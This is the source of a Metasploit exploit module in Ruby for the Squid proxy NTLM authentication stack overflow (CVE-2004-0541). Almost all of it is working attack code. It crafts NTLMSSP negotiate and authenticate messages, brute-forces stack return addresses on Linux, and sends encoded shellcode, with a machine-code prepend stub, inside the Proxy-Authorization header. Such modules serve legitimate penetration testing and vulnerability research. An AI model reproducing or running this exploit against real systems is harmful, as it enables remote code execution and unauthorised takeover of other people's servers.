## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Brute include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Squid NTLM Authenticate Overflow', 'Description' => %q{ This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c). Due to improper bounds checking in ntlm_check_auth, it is possible to overflow the 'pass' variable on the stack with user controlled data of a user defined length. Props to iDEFENSE for the advisory. }, 'Author' => 'skape', 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '6791'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'], [ 'BID', '10500'], [ 'CVE', '2004-0541'], [ 'MIL', '67'], ], 'Privileged' => false, 'Payload' => { 'Space' => 256, 'MinNops' => 16, 'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80", 'PrependEncoder' => "\x83\xec\x7f", }, 'Targets' => [ [ 'Linux Bruteforce', { 'Platform' => 'linux', 'Bruteforce' => { 'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c }, 'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc }, 'Step' => 0 } }, ], ], 'DisclosureDate' => 'Jun 8 2004', 'DefaultTarget' => 0)) register_advanced_options( [ # We must wait 15 seconds between each attempt so as to prevent # squid from exiting completely after 5 crashes. OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]), ], self.class) end def brute_exploit(addresses) site = "http://" + rand_text_alpha(rand(128)) + ".com" print_status("Trying 0x#{"%.8x" % addresses['Ret']}...") connect trasnmit_negotiate(site) transmit_authenticate(site, addresses) handler disconnect end def trasnmit_negotiate(site) negotiate = "NTLMSSP\x00" + # NTLMSSP identifier "\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE "\x07\x00\xb2\x07" + # flags "\x01\x00\x09\x00" + # workgroup len/max (1) "\x01\x00\x00\x00" + # workgroup offset (1) "\x01\x00\x03\x00" + # workstation len/max (1) "\x01\x00\x00\x00" # workstation offset (1) print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)") req = "GET #{site} HTTP/1.1\r\n" + "Proxy-Connection: Keep-Alive\r\n" + "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" + "\r\n" sock.put(req) end def transmit_authenticate(site, addresses) overflow = rand_text_alphanumeric(0x20) + [addresses['Ret']].pack('V') + [addresses['Valid']].pack('V') + "\xff\x00\x00\x00" shellcode = payload.encoded pass_len = [overflow.length + shellcode.length].pack('v') authenticate = "NTLMSSP\x00" + # NTLMSSP identifier "\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE pass_len + pass_len + # lanman response len/max "\x38\x00\x00\x00" + # lanman response offset (56) "\x01\x00\x01\x00" + # nt response len/max (1) "\x01\x00\x00\x00" + # nt response offset (1) "\x01\x00\x01\x00" + # domain name len/max (1) "\x01\x00\x00\x00" + # domain name offset (1) "\x01\x00\x01\x00" + # user name (1) "\x01\x00\x00\x00" + # user name offset (1) "\x00\x00\x00\x00" + # session key "\x8b\x00\x00\x00" + # session key "\x06\x82\x00\x02" + # flags overflow + shellcode print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)") req = "GET #{site} HTTP/1.1\r\n" + "Proxy-Connection: Keep-Alive\r\n" + "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" + "\r\n" sock.put(req) end end